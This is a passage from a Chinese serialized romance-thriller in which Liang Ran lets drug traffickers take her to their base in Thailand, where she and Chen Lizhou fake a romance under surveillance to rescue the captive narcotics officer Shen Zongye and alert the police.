“我想陈沥周,我要见到他。” 孟曦不太相信:“我在陆总那里听到你男朋友好像是警察?你是为了他?” “没有,我喜欢陈沥周,我爱上他了,我想去找他。” 梁然虽然这样解释,可孟曦还是不信。 梁然抢回手机:“你不带我去见他们我就报警,告诉警察你帮毒贩害人。” 孟曦夺回梁然的手机,将梁然的手机紧紧藏在背后,她喘着气说:“对不起,你不能报警!” “如果你真的想我帮你你就不能报警!” 孟曦很懂得拿捏这份坏。 梁然冷漠地看着面前的女生,有些人天生有骨子里罪恶的基因。如果她遇到这样的事,她绝对不会去伤害一条无辜的生命。 她恨孟曦。 但现在她需要孟曦的帮助。 她的手机被没收了,包也被孟曦收走。 孟曦最后再问了她一遍:“你真的要去联络他们,去他们那里吗,你不后悔吗?” “我要去,我不后悔。” “好,我帮你联络,但他们当时放弃绑架你了,我也不知道为什么,我不确定他们会不会再见你。”孟曦惴惴不安说,“我们约定好,不管他们见不见你,我都不会透露你男朋友是警察,你爸爸是被制毒水源害死的。你也不能报警说我害了你的宝宝,可以吗?” “可以。” 梁然和孟曦达成了这个交易。 孟曦下车打着电话,两分钟后回到车上,眼神复杂地望着梁然:“他们答应了。” 窗外夜色浓郁,宁城的夜晚明月透亮,夜空无云。 孟曦开着车驶上一条车流稀少的道路。 梁然降下车窗,让晚风吹落进她眼睛里。 这么凌厉的风吹痛了头皮,她又开始偏头痛起来。 凌晨一点。 孟曦将车停在一条国道上。 她们的车前停着一辆黑色越野车。 孟曦说:“就是他们了。” “梁总,你还可以后悔的,如果你不想去我试着打电话去解释……” 梁然已经打开了车门。 孟曦拉住她的手,眼神复杂。 梁然看着她说:“做坏人的事会有报应的。” 孟曦慌张地松开手。 梁然走向了那台车。 车旁魁梧健壮的男人拉开车门,梁然钻进车厢,没有犹豫。 越野车消失在了漆黑的夜色下。 第118章 第118章我想保护我喜欢的人…… 历时三天,梁然终于停下颠簸。 她一路被蒙着眼,什么也看不见,只知道身边的人说着泰语。 他们将她带进这间房间。 房间里空白、干净,只有一张沙发和墙上的钟、摄像头,空气里有微咸的海风和一股热浪。 梁然身上还穿着在宁城时的薄外套和蓝色长裙。 敞开的房门口站着两名持枪的男人。 梁然刚走到门口,他们的枪口就对准她,冰冷的眼神示意她别妄动。 几分钟后,一个气场森寒的中年男人在一行人的簇拥下出现在房门口,他身后的人叫徐川,梁然在云上人间见过。 为首的人就是董自新了。 他和陈沥周不太像,陈沥周更像他的妈妈。 董自新深不可测地打量她。 梁然也迎着他的审视。 徐川刚才在监控里见到梁然时,已经对董自新说起她曾经是沈宗野的女人。 董自新对于梁然的印象只是孟曦给的资料,介绍偏多的是梁然工作上的履历和国外留学的经历,他还不清楚梁然是沈宗野的女人。但现在,董自新眼眸愈发阴冷。 面对他们,梁然应该是要害怕的,可做好了准备她就只能坦然地站在这里。 她说:“我来找陈沥周。” 董自新波澜不惊,翘着腿坐到了沙发上。 “你是沈宗野的女人?” 梁然说:“以前是。” “一个良家女,怎么会喜欢一个毒贩。” 梁然:“你年纪大了,没听过好女人都迷恋过坏男人吗?” 这话像是说到了董自新的心坎,他也许是想起了年轻往事,浮起极淡的笑,但倏然冷下脸:“还是说,你知道沈宗野是一名缉毒警察。” 梁然意外地抬起眼皮,极是震惊,喃喃说:“这么说他是个好人……可他很坏,我见过他杀人。” 董自新问:“杀谁?” “前年除夕的时候,有一群人撞他的车,我见过他拿刀捅人。”梁然很是意外,“警察也会杀人吗?” 董自新没回答她,也似乎没有疑心她的话。 毕竟他信的是孟曦。 梁然在宁城的伪装就骗过了沈宗野,现在,她也有理由继续伪装下去。 “那他是警察,在你们手里还有得活吗?” “我们是哪种人?”董自新反问。 梁然眼里这才有些害怕:“孟曦说你们做的是灰色生意,可能是诈骗,还有贩,毒。” 董自新不怒反笑,视线从梁然脸上一路赤。裸扫下,停在她身体起伏的曲线上,又扫视她蓝色裙摆下白皙的脚裸。 梁然说:“我来找你是因为孟曦说你是沥周的爸爸,沥周没有碰过这些产业,我想让你放了他。” “你拿什么跟我谈条件?” “沥周和我失联这么久,都是因为你不让他回国吧?”梁然说,“父母的爱不应该是这样,沥周很爱你,他也很想他的奶奶。我见过奶奶一面,她很喜欢我,我和奶奶有缘,之前沈宗野要我帮他找观音像,应该就是给奶奶找的,那尊观音是我找到的。” “只要你让我带沥周回国,让我和他在一起,我就帮你修复你们俩的父子关系。让你和沥周,和奶奶,重新回到以前。” 董自新盯着梁然许久。 梁然平静地迎着他的审视。 她知道她不可以软弱,如果她软弱了,她不仅会害了自己,还帮不到沈宗野。 董自新起身走到梁然身前,他虽然只有一米七几,个头只算正常,但周身杀气逼人,气场十足的恶劣压迫,寻常人都会害怕。 而梁然也害怕起来。 她睫毛轻颤,一只手按住自己的手腕,极不自然地后退一步,直到身体抵到墙。 “叔叔,你想对我做什么?” 她的胆识和此刻的害怕都激起了董自新的欲望。 董自新嗅着空气里的香水气,眼眸沉沉盯着梁然。 梁然说:“叔叔,我想见沥周。” 几声叔叔还是将董自新拉回了理智。 董自新几乎毫不掩饰地流露出没有得手的失望。 “你什么时候见过沥周奶奶?” “在沥周公司的宴会上,奶奶对我很和蔼,她喜欢我,说我有文化。我也喜欢奶奶养的狗。” 房间里极安静。 无形中的压迫最为致命,但梁然沉默不语,只维系着真诚和那些自然的害怕。 对董自新来说,她的任何理由他可以都不信。 可他信他毒贩的狠毒。 梁然知道这一点,董自新才不会认定她敢来骗他。 董自新说:“半个月,半个月的时间,让我们父子的关系回到从前。还有,沥周妈妈的仇人已经死了,你要说服他放下仇恨。还有,我的生意是秘密,你说出口,沥周也救不了你。” “放心,我比沥周现实一点,你的生意再坏也只是在国外做,只要你不影响我和沥周在国内的生活。” 董自新问:“你前段时间怀孕了?” “嗯。” “谁的?” “一个甲方,很像沥周,我喝醉了,我也很自责。” 董自新没再问其他,终于带梁然去见了陈沥周。 这一路她没有被蒙住眼睛,她看到一望无际的树林和宽阔平坦的水泥地,几辆代步车停泊在灼热的阳光下,载着她和董自新等人去了一栋两层楼房。 她走进客厅,他们打开一扇锁住的房门。 陈沥周听到动静,面无表情看向门口,直到看见的是梁然。 他愣得忘记反应,猛地起身冲到她身前,嘴唇嗫嚅得说不出话。 梁然深深望着陈沥周。 一年没有再见,陈沥周憔悴、沧桑,头发不再打理得英俊干净,凌乱得没有形,眼里也不再有光,晦暗哀沉。 梁然来之前想过他的处境。 只要他没有参与到毒品中就还是一个好人,现在看来他应该还是从前的陈沥周。 她的眼眶湿润,对陈沥周浮起笑:“沥周,好久不见,我来找你了。” 陈沥周的双眼瞬间涌起热流。 他张着唇不知道要说什么。 梁然微笑着看他:“你给我的生日礼物我收到了,一直在等你想当面谢谢你,可是一直等不到你回来。你可以抱一抱我吗?” 经过她的提醒,陈沥周这才抱住了她,他们之间的状态这才正常了很多。 梁然说:“为什么想送我那幅画?” “那是你喜欢的,我听你提过你喜欢那位画家。” “我只是随口聊到吧。” “嗯,我记住了,你说的话我都记在了心里。”陈沥周埋在梁然头发里,流下眼泪。 他的智商很高。 震撼之后他已经猜到了梁然来这里的目的,也知道梁然说出这些是为了让他配合。 那次救回沈宗野之后,陈沥周就再也没有收到过沈宗野的消息。董自新只说人已经脱离了生命危险,他好好配合,乖乖听话,沈宗野才能活。 事后陈沥周又听到徐川说起前段时间还死了一个打电话暴露的缉毒警察。 陈沥周很后悔他为什么走不出去,为什么当时没有救下那名警察。 他能明白国内的警察在抓捕他爸爸,现在见到梁然,他也懂了她来这里的目的。 梁然抱着他:“你有想我吗,为什么不给我打电话?” “我想你,我不敢拖累你。” 陈沥周好像明白了梁然演的什么戏。 她多傻啊,来到这里九死一生,她为什么还敢来。 “我不怕。陈沥周,我也很想你。” 陈沥周从梁然肩膀上抬起头,望向门口的董自新。 他的眼神很复杂,假装得感激、自责、欢喜又痛苦。 他责问董自新:“爸爸,为什么把她带到这里来!我不要她卷进来,她是个清白的人!” “她自己要来,她喜欢你。”董自新说得很无辜,从门外离开。 房间里有无数的监控和监听器。 陈沥周松开梁然,紧望着她流下眼泪。 梁然抿起红唇对陈沥周笑,她的眼泪也无声滑落。 “梁然,你不该来的。” “因为你在这。我想保护我喜欢的人。陈沥周,我知道你懂我,来到这里,我不后悔。” 陈沥周张了张唇。 梁然踮起脚尖亲了他的脸颊。 陈沥周睫毛颤动,知道梁然在演戏,知道她是想盖住他刚才差点开口说出的沈宗野,他紧紧抱住梁然。 他们说着从前,说着他妈妈的园林,他们聊着梁然的工作,聊着这里晚上的风景和星辰。 他们没有一句话提到过沈宗野,智商在线的两个人都没有被巨大的情绪走偏,各自诉说着对对方的思念和喜欢。 陈沥周的一举一动都骗不过董自新,他毕竟是董自新看着长大的儿子。因为对梁然的感情全部都是真的,他的行为没有一丝出错。 梁然已经在沈宗野身边卧底过一回了。 那时候她把沈宗野当作害死梁幸均的仇人,再大的恨都能压下,又何况此刻这点对昔日好朋友的深情。 她演得很逼真。 为了沈宗野,她站在了这里,她做到了。 …… 傍晚的时候,董自新亲自做了饭菜招待梁然。 餐桌上有陈沥周爱吃的红烧排骨,梁然将排骨夹到他碗里,陈沥周还是有些阴郁,他的情绪只是对董自新。 梁然说:“这是你喜欢吃的菜,叔叔特意做的。” 陈沥周看了眼梁然,这才动筷。 梁然对董自新说:“谢谢叔叔。” 她没有上赶着的热情,说谢谢都依旧是清冷的语气,倒不会显得刻意逢迎。 董自新挂着平和的笑。 这看起来是一顿趋于融洽的晚饭,董自新对梁然没有任何为难和试探。 梁然和陈沥周都知道,不是董自新信任他们,是因为董自新不惧怕他们在自己的地盘上动手脚。 因为梁然的到来,陈沥周可活动的范围从这栋楼房变成了房子外面的草坪,树林。 夜晚,梁然和陈沥周散步在这片树林中,穿过高高的斜坡坐在草坪上。 陈沥周脱下他的衬衫垫在梁然身下,晚风将他的白T恤吹鼓。 梁然拉过蓝色裙摆盖住脚裸,看着远处一望无际的绿色,不知道那是树林还是草地,同那片绿延伸得无边无垠,月亮悬在深蓝色的夜幕中。 她忽然理解了沈宗野曾经看过的绿野。 是不是他也曾在卧底生涯漆黑的夜晚,有过这样一场漂亮的绿野和月光陪伴。 晚风里涌动着海潮的咸腥和热气。 四面都有持枪巡逻的武装人员,陈沥周身上也随时戴着监听器,因为他之前就报警举报自己爸爸贩毒,才被董自新这样严密地监视。 当时因为拨出的电话是当地的警局,董自新早就买通了保护伞,陈沥周才失败。 为此,董自新愤怒地扇了陈沥周一耳光,说他从来不心疼自己爸爸刀尖上舔血的危险。 身上的监听器让梁然和陈沥周都没有说起过沈宗野,他们聊着公司的事情,聊着梁然身边是不是有追求者。 梁然停下,认真看着陈沥周:“我来这里,还不足够让你知道我的心吗?” 她的桃花眼只有深情,一轮月倒映在她眼底。 陈沥周知道要如何扮演下去,这个时刻他应该亲吻梁然,可他觉得对梁然不公平。 他那么想保护梁然,在这里的每一天都靠想着梁然才熬过来,现在却好像没有力量保护得了她。 不对,只要他离开这里,按照他的原计划把董自新骗回国,他就有能力报警让警察抓起他的爸爸,就有能力保护得了梁然了。 梁然五指扣住陈沥周的手,在他手心写下两个字:奶奶。 陈沥周视线深邃,紧望梁然。 他们的想法出奇一致。 梁然又写:订婚。 有人看向这边,陈沥周反手扯过梁然手腕,将她搂在怀里,低头亲吻她。 梁然闭上眼睛。 有眼泪流下。 她知道只有这样才能救沈宗野。 她知道这一切都不算什么的。 但是和不爱的人接吻,她想的全都是沈宗野的亲吻。 沈宗野亲她时喜欢搂她的腰,沈宗野吻完后喜欢用那双充满侵略的眼眸看着她笑。沈宗野会整理她的头发,会抓过她的手指用微凉的薄唇亲吻。 陈沥周很笨拙。 何詹说他一心都在化学实验上,从来没有接触过女孩子。 他生涩地吻她的嘴唇,小心翼翼地探进她唇齿,直到他满腔压抑的苦痛在这一刻遇到了甘霖。梁然像蜜,他忍不住疯狂地汲取。 这些压抑已久的痛苦都在这个亲吻里悉数爆发。 直到梁然喘息地将陈沥周推开:“你亲疼我了,我都呼吸不了了。”她的声音又娇又喘,她知道陈沥周身上的窃听器。 陈沥周很愧疚,耳朵的红蔓延到脖子,他刚想开口说对不起,梁然用眼神示意他不要暴露。 陈沥周话锋一转,深深望着梁然:“梁然,我每天都在想你,我想带你回到正常的生活。” “你爸爸会同意吗?” “我不知道。” “沥周,他在国外做的生意只要不带回国,我们就别管了,好吗?” “可是我妈妈的仇我还没报。” “叔叔跟我说过你妈妈的仇已经报了,而且你妈妈的园林建成这么久,你还没有亲自去看过吧。那也是我的作品,你不是很喜欢我为你设计的作品吗。” “我知道,可是我很爱我妈妈。” “可你爸爸也很爱你。”梁然说,“我也讨厌你爸爸这样的坏人,但他们影响的只是社会秩序,谁说坏人身上没有可取之处,你爸爸就算是杀人犯,他也是世界上最爱你的人啊。” 陈沥周久久地沉默,动容地看着梁然。 他们俩说着这些恶心的话,幸好附近没有人近距离盯着,否则都会露馅。 梁然恶心董自新这样的人渣。 陈沥周痛恨他的爸爸。 某些时候,他们很像一样的人。 回到房间,房门被送他们回来的武装人员从外锁上。 梁然犹豫了下:“我也和你住一个房间吗?” “嗯,可以吗?” 梁然点了点头,抬头望着四面墙上和桌上至少八个明处的摄像头:“卫生间也有摄像头吗,我想洗澡,我也要在这里换衣服……” 陈沥周拿起了桌上的对讲。 这个对讲接通董自新和徐川。 那头是徐川接的,陈沥周说:“让爸爸把房间里的监控撤掉吧。” 徐川让他稍等。 半个小时后,董自新同意了,门口的人进来关掉了摄像头上的按钮,几个隐藏摄像头也摘了出来。 这一切不知道是给梁然和陈沥周的安慰,还是表面的形式。 梁然要的蓝色睡衣和裙子,护肤品、化妆品、香水,全部都被人送进来。 房间里关了灯,那扇落地窗开着,细密的铁网浇筑在玻璃窗后。 梁然躺到床上,躺在陈沥周的身边,看着那扇窗外的月亮。 房间里和床头的监听器依旧持续工作着。 梁然也只有在此刻才能在被子里握住陈沥周的手,在他手心写下沈宗野的名字。 她不知道她写的字陈沥周能不能感知得到。 但陈沥周知道她想问的是沈宗野。 他在她手臂上写下字:他在医院,他还活着。 第119章 第119章他的然然 梁然闭上眼,让眼泪悄无声息浸入枕头。 陈沥周那次救下沈宗野后就一直没有机会再同沈宗野见面。 但他知道董自新没再折磨沈宗野。 徐川说沈宗野伤势很重,是抢回一条命,医院不适合做太大的手术,董自新也不想好好对沈宗野,他身体里的玻璃碎片就特意留着,让沈宗野受着罪。 因为陈沥周拿自己威胁董自新,董自新暂时没有用毒品控制沈宗野。最大的原因其实也是陈沥周说中了董自新的痛处,有人不想看董自新做得太好。 而沈宗野在医院里醒来也和董自新说,他得罪过向邬道,向邬道虽然被抓了,但上面还有人,如果他真的是一名警察就不会明知是死还回来,乌鱼上面的人是不是想看董自新自乱阵脚,早就想对付董自新了。 陈沥周不知道沈宗野都和董自新说了这些。 沈宗野处在囚禁失联的状态,他也是。 但陈沥周知道,他爸爸的毒品生意并不是想象中那么简单,这些复杂的势力争起来都是你死我活。 陈沥周和梁然维系在这样的关系里。 他们在这个没有网络,没有手机的地方演着日渐情深。 第五天的晚上,陈沥周按梁然隔着被子在他手心写下的提示,翻身吻了梁然。 梁然和他演着这场床戏。 陈沥周的反应明明都是真实的,但没有真正触碰她。 监听器还在工作,梁然的声音无比的娇,直到最后紧紧抱住陈沥周,轻轻地哭喘。 明明是演戏,陈沥周却早已经满额头的汗水。 梁然抿起唇替他擦掉。 “陈沥周,我应该一直会记得第一次见你时的样子。” 陈沥周紧望梁然,她的头发有些凌乱,他小心翼翼地抬手替她整理,不敢冒犯到她,手指都没有挨到她侧脸的皮肤。 “第一次的我是什么样子?” “有夕阳的光照在你身上,很帅气,很年轻,很温柔,很阳光的样子。” 陈沥周弯起唇角。 梁然看着窗外,密密的铁网隔离了夜色。 她不知道沈宗野的状况,她来这里这么久,也只能呆在陈沥周身边,和陈沥周活动的范围就只有这栋楼附近的草地。 她说:“每天好像山顶洞人一样,好想去逛街啊。” 陈沥周失笑:“不行我让爸爸开个网络,让你网购?” “好呀。”梁然轻轻点头。 他们把日常演得很逼真。 陈沥周还真的像小时候哄董自新要零花钱买东西那样,单纯天真地去找董自新,说他想要个网络网购。 他们身上的监听内容每天都在董自新掌控的范围。 董自新觉得陈沥周变得越来越像从前的样子了。 他答应了他们的要求。 梁然逛着网上的商城时,前后左右好几个人盯着,她和陈沥周就真的只是网购,买了衣服鞋子包包,手表配饰,画和书籍,又买了些日常的零食酒水,地址是徐川指定的一个地址。 梁然和陈沥周记下了这个地址。 隔两天,梁然想吃佛跳墙,饭桌上问董自新会不会做闽菜,董自新说他厨艺一般,她想吃他可以学。 吃过饭,梁然去门外坐着看太阳落山。 陈沥周在饭桌上看了董自新很久。 董自新问:“看我做什么?” 陈沥周眼眶微红,偏过头:“没什么,谢谢你对她这么好。” “我是你爸爸……” 陈沥周没等董自新说完,起身离开,牵起梁然回到那栋楼。 他和梁然把这份亲情和日常演得完美无瑕。 又过去两天,梁然网购的东西全部由人运到了这里。 她开心地换上新裙子,和陈沥周喝酒跳舞。 远处应该有一片海,咸腥的海风涌过树林,穿过这片夜色下的绿野拂向梁然。 梁然停下跃动的蓝色裙摆,起风了,风落进她笑着的眼睛里。 “沈宗野,你要撑住,我就要见到你了。” 梁然在心底无声说。 她要靠微醺的鸡尾酒才能撑起无人时的强笑。 陈沥周穿过草地,牵住梁然的手。 梁然看着他。 他说:“你是想家了吗?” 梁然点点头,鼻腔里逸出的声音有些委屈,让人疼惜。 陈沥周说:“我去求爸爸让你回去。” “我不回去,而且他是你爸爸,你不应该用‘求’字。沥周,叔叔很爱你。”这个时刻,他们也在演戏,梁然说,“我买的按摩仪是给叔叔的,你明天送给他吧。还有一尊观音像是给奶奶的,你给奶奶送去吧,希望她会喜欢我。” 第二天,陈沥周将这些送到董自新面前,问起他奶奶的近况。 他对董自新越来越像从前,吃饭的时候已经会下意识给董自新夹菜,反应过来才收起笑,将菜夹回自己碗里,板着脸吃饭。 梁然忍不住笑他。 董自新对梁然比最开始正常了很多,至少不会再用一个男性充满欲望的眼神来审视梁然。 回到那栋房子里,梁然和陈沥周又演着床上的亲密。 结束时,梁然在陈沥周的手臂上写了一个名字:童习贞。 是他妈妈的名字。 陈沥周完全不知道梁然说的是谁。 梁然又写了一遍,以为陈沥周是没有感知出来。 陈沥周对她摇摇头,写字问她:谁? 梁然有些明白了,陈沥周根本不知道他妈妈的本名。 她没有将童习贞的事情告诉陈沥周,现在根本不是说的时候,她现在告诉陈沥周,如果他沉不住气,她付出的一切都将前功尽弃。 他们现在已经慢慢取得了董自新的信任和放松。 时间这样过去,直到陈沥周在董自新那里和他奶奶通了电话,告诉奶奶他有了喜欢的女孩子,想把梁然带回去见奶奶。 挂了电话,他对董自新说:“我想带她走。” 董自新没反对,但也没有答应,点燃一支雪茄抽完才说:“你会出卖爸爸吗?” 陈沥周应该马上说不会的。 但他知道这样更不符合他的性格。 他沉默了很久才说:“你会回国内害人,害中国人吗?” “不会。”董自新笑。 陈沥周知道这不是真话。 他说:“我不想因为你让梁然受到牵连,我想给她更好的生活,我想和她去纽约定居。” 董自新如释重负,脸上再也没有罪大恶极的阴鸷,他笑了起来。 “你能想通就好,我早就希望你想通这一点。” “走之前我想让奶奶见见然然,奶奶想见她。” 董自新思考片刻:“可以。” “我还有一个要求,沈宗野不能死,走之前我要见他一面。” 董自新抽完了这支雪茄,杵灭烟蒂:“你觉得他不是一个警察?” “我觉得不像,他救过我,当时他不知道我是谁,我也不知道他是你的人,他救我是因为我那时是然然的客户。不知道你身边是不是有人暴露过我,当时有两个人直接冲我过来,手里有匕首,是他救了我。” 董自新听得很严肃:“你怎么不告诉爸爸?” “我根本就没把这些事情往你身上想过。” 说到这里,陈沥周眼里还是很哀伤,但他继续回到正题,“当时他应该是弄死了那个人。如果他是一个警察,他应该不至于敢要别人的命吧。” “虽然他很坏,但他曾经对梁然很好,就当我还他一条命。” 董自新没再开口。 陈沥周说:“我什么时候能见他?” “今天就可以。”董自新很自然地倒着茶喝,“见完他,你和他之间就了了。” “你还会杀他吗?”陈沥周紧张地望着董自新。 “不会啊,爸爸答应你了。”董自新笑。 到现在,陈沥周不敢再相信董自新的笑。这份看似和蔼的笑容都会让他毛骨悚然,眼前的人再也不是他最初的爸爸了。 “我要带上然然。” 董自新皱起眉。 “把她一个人放在这里我不放心。” …… 傍晚,他们吃过晚饭,坐上了董自新的车。 陈沥周和梁然还是被蒙住了眼睛,车子一路颠簸,像是经过很长一段偏僻的路才驶入了平坦的车道上,直到几分钟后停在一处院子。 车窗外是医院。 楼上也有站岗的几个魁梧男性。 梁然下了车,心潮汹涌,可她不能表露出来。 她的脸色平静,如常地跟在陈沥周身侧。 到了医院里,她被安排在一间病房。 房间的一堵墙面是单向镜,梁然看到了隔壁病房里的沈宗野。 她的心跳是剧烈的,拢着披肩的手指在颤抖。她知道她不能暴露,她的异常会拖累沈宗野和她。 她极力地调整呼吸才能抑制住这些情绪。 沈宗野躺在床上,旁边的监护仪显示血氧饱和度有些低,他的双腿上着锁链,右手也被铁链绑在床上,唯一可以动的左手只剩下两根手指。他的耳朵上缠着纱布,脸色惨白,薄唇干燥,下巴是密密的青色胡茬。 他颓废、憔悴,看向走进房间的董自新和陈沥周,像个小人物看见救世主一样浮起惶恐的、讨好的笑。 他开口在说话,他看了眼陈沥周。 梁然听不见他的声音,但她知道他说话吃力,应该有许多伤口。 她不能哭。 她的腿不能发软。 她就站在这片镜子前,平静地望着沈宗野,又看向旁边的窗户,望着窗外的阳光和远处的建筑。 今天来这里,她和陈沥周是带着目的的。 这应该是他们唯一的机会。 …… 对面的病房里,沈宗野的嗓音嘶哑粗糙,因为伤到了喉部神经,需要漫长的恢复期,他的声音实在低弱得听都不听不清楚,但他还是努力地开口说感谢董叔,感谢沥周。 董自新睨着他:“身体好了?” “好多了,董叔,我想回去跟着你干。” “不急。” 陈沥周走到病床前去看沈宗野的手指,摸着残缺的断面伤口,回头对董自新质问:“你不是说把他手指接好吗?” “我什么时候说过。” 因为气恼,陈沥周胸膛上下起伏,才想起来那天他们还没砍伤沈宗野的肢体,被他阻拦了。 沈宗野嗓音低哑:“我没事,谢谢陈先生,你不要和董叔吵,只要我能有条命,这个不算什么。” 陈沥周回头对沈宗野说:“我就是来看你一眼,你也别担心,我爸爸答应了我不会再为难你。在宁城那回谢谢你从那些人的刀下救了我这条命,我还清了,我什么都不欠你。” 他的眼眸最后还有一种看情敌的高傲。 沈宗野迎着他的视线,小心翼翼微笑:“是我应该谢谢你,我真的很感谢你,我的命都可以给你。” 沈宗野对董自新说:“董叔,我发誓有机会我会用这条命护着陈先生。” 董自新虽然现在不需要沈宗野的承诺,但他敌人太多,他也算是给了沈宗野一个点头的示意,淡淡说:“管好你的嘴,我随时可以收回你这条命。” 他们离开了房间,马上就有人进来检查沈宗野刚才那只被陈沥周碰过的左手,检查他枕头底下、病号服上有没有什么异常,又将他身体挪了一遍才离开。 注射液要更换了,护士进来换了新的消炎药水。 他胃部动手术的伤口也发炎了,需要更换敷料,护士动手时没有太多留情,这里也被董自新买通,医院里的人都按命令做事。 这些时间,沈宗野从死亡的边缘被拉回来,反复发烧,反复进出ICU病房,前几天才彻底脱离生命危险。 他身体里还有很多玻璃碎渣,每时每刻都伴在血肉里绞痛。 胃部的伤口被护士粗暴地清理,沈宗野疼得紧握拳,他紧咬牙齿,有眼泪滚出猩红的眼眶。 可只有他知道这道泪水不是因为伤口。 是因为梁然。 梁然来了。 护士换完了药,沈宗野手指痉。挛地松开。 他知道梁然来了。 他在陈沥周靠近他时,闻到了梁然身上的香气。 那是属于梁然的气味,那股寂雪一样冷冽的兰香随着梁然皮肤的温度,散发的是独属于她的气味。 她为什么要来这里。 为什么? 他不需要她来救他。 他宁愿死在这里也不需要干净的她沾惹这些肮脏。 她应该站在光里,不该站在这黑处。 她知不知道她进入的可能是一个死局? 护士扫了眼沈宗野耳朵上的纱布,见不需要换药才面无表情离开。 沈宗野按着腹部伤口,恢复如初,他不能流露出任何异样,他可以死,但梁然不能。 他慢吞吞躺回枕头上,盖好被子闭上眼睡过去。这里灯光太强,白天黑夜都开着灯,他每次都是蒙头睡,看守的人受不了病房刺眼的灯光,经常睡在隔壁的病房里。有时候看守的人进来后会不耐烦地扯下他的被子,心情好的时候就懒得管他。 沈宗野从耳朵的纱布里取出纸条。 是刚才陈沥周来看他断指伤口时塞给他的,在他们搜身时,他不动声色藏在了耳朵的纱布里。 纸条上写: “5月20号中午12点在这里有人接你走” 5月20号。 还有七天。 陈沥周和梁然要做什么? 陈沥周有什么把握,梁然会不会有危险? 他原本有了自己的计划,他想等身体恢复之后联络上向邬道以前的上家,用离间计挽救自己。虽然这个计划可能需要漫长的时间,也是九死一生,但他做好了准备。 现在梁然来了,他更不敢轻举妄动。 沈宗野一夜没睡,但他要装作睡下了,是被身体的疼痛疼醒,双腿的铁链发出清脆的响声,声音通过监听器传到隔壁病房,吵到了睡在隔壁的两个看守的人。他们不耐烦地过来,隔着纱布压他的伤口。 又有血沁了出来。 他身上的伤原本已经愈合好,最近还是因为这些人的暴。行反复撕裂。 原本没有梁然在这里,沈宗野今天有了董自新的免死金牌,可以和这些人抗衡,可他现在改变了计划,任由他们对他处罚。 第二天,徐川派了人来问医生他能不能摘设备了。 沈宗野不能离开医院。 再离开他不知道还要怎么找机会才能回来。 距离5月20号还有六天。 夜里,他又反复用铁链的声音吵醒隔壁看守的人。 他们进来照常对他施暴。 沈宗野痛到咬牙,脖颈上青筋暴起,猩红的眼眸阴鸷地盯着这两人,愤怒得恨不得毙了他们。 两人都被他惹恼了,其中一人抽出门口看守的枪怼到沈宗野头顶,用泰语恶狠狠说:“信不信老子崩了你!” 沈宗野用没有上锁链的左手猛地夺下那把枪,两人一愣。沈宗野在上膛,但他的左手缺失了三根手指,操作和速度还是慢了一拍,枪很快被他们夺回。 他们把愤怒变成拳脚,掰折他手指要他道歉。 沈宗野吐在他脸上。 那人脸色一变,跳到床上一脚踩住他胃部的伤口。 鲜血直接从沈宗野口腔涌出,监护仪上的心率也显示出低数值。 另一人连忙拽下那人,冲出病房喊医护人员。 沈宗野又被送进手术室缝合。 徐川没有再派人过来接走他,他留在了这里。 身体的痛已经不及他心脏的痛。 他必须活着。 他要保护他的然然。 第120章 第120章和别的男人订婚?他不…… 5月20号是梁然和陈沥周想要订婚的日子。 他们想以订婚引来警方抓捕董自新。 这就需要陈沥周奶奶的帮助。 只要奶奶来到这里,警方才能锁定位置。 那些雇佣兵原本是陈沥周意图假装绑架奶奶,引董自新回国而雇佣的,但时间已经过去这么久,董自新也不可能回国,这个计划早就不可行了。 陈沥周和梁然商量,不如让那些雇佣兵在20号那天去救沈宗野。 可现在他们最紧要的是怎么知道奶奶在哪里,怎么让警方跟着奶奶来到这里。 如果陈沥周能像半年前那样有手机联络梁然,联络何詹就好了。 前半年,看守陈沥周的其中一个男人曾经受过他奶奶的恩惠,有次陈沥周在草坪上散步时特意给过他打电话的机会。 只是后来那人接了别的任务,不负责看守他了,走之前也告诉过他老太太很想他,要他好好听爸爸的话。 晚饭的时候,陈沥周随口在饭桌上说起:“爸爸,你会做蜜汁烤羊排吗?” 董自新有些好笑:“一会儿佛跳墙,一会儿还是烤羊排,你想吃我给你学吧。” “那不用了,我只是想起之前看守我那个人带回来的羊排,他说在外面带的。”陈沥周没再提起,吃饭完和梁然离开。 给他带羊排的就是他奶奶那名亲信,叫李昭,一个和他年纪相仿的男人。 第二天,董自新果然将李昭叫了回来,给他带了羊排。 李昭将羊排送到陈沥周的房间,视线和陈沥周无声交流两秒,往外走去。 陈沥周和梁然说:“吃完出去散散步吧,羊肉热量高。” “嗯。” 他们往李昭去的方向跟去。 李昭在树林里抽烟。 男人蹲在一棵树旁,远处就有看守的人,他蹲着抽了好几支烟,直到陈沥周和梁然过来。 李昭连忙起身,哈腰打了个招呼离开,跟远处看守的人勾肩搭背聊天,两人在一旁抖腿抽着烟。 陈沥周猛地蹲到树边,从草丛里翻出李昭的手机。 之前李昭每次都是用这个方法给他放水,他才能联络上梁然和何詹。 陈沥周拨出他奶奶的号码。 梁然小心地望着四周,这会儿监视的人应该都被李昭支走了,只有和李昭聊天的一个男人在。两人背过身,李昭拍着那人肩膀,聊的话题似乎很搞笑,那人笑弯了腰。不过那人也会回头看一眼陈沥周这边,因为梁然的遮挡,那边看不见陈沥周在打电话。 这次陈沥周没佩戴监听器,他偶尔说忘了,董自新也不会生气。 “奶奶,你在哪儿?我很想你。” 陈沥周和老太太聊着电话。 老太太也很想陈沥周,但因为董自新的安危,老太太还是听从了董自新的安排。只是分隔一年,老人早已经没了精神支柱,上了年纪的人过一年少一年,她太想陈沥周了,在陈沥周动容的哽咽里说起了她的近况,包括她现在的地址。 挂完电话,陈沥周迅速拨通了梁然按下的号码。 那是谢天明的手机号。 梁然不知道谢天明有没有出任务,电话能不能打通。如果不能,她还有沈宗野办公室的号码。 万幸谢天明很快就接了。 陈沥周来不及做任何解释,脱口而出:“我是陈沥周,梁然和我在一起,马上去云南丽城茶香镇157号跟踪我奶奶李富琴,她要来参加我和梁然20号的订婚仪式。我不知道我们在泰国哪里,这里有一家医院叫枚印,通知我请的雇佣兵去这家医院营救沈宗野。” 沈宗野的地址梁然和陈沥周实在摸不清。 但那家医院的名字他们都记住了。 现在消息传递出去了,只要跟踪上老太太李富琴,警方就能找到他们所在的这个地址,也能查到沈宗野所在的那家医院。 关键人物只能是李富琴这位老太太。 只要她来,警方才能找到他们,锁定董自新。 梁然不知道这个计划的可行性能有多少,但他们根本没有别的机会了。 陈沥周已经删除了这通记录,将手机放回原处。 梁然笑着和陈沥周玩闹,回到了房子里。 傍晚,他们坐在这片草坪上数着星星。 “那是猎户座吗?”梁然问。 “嗯,旁边的是双子座。” 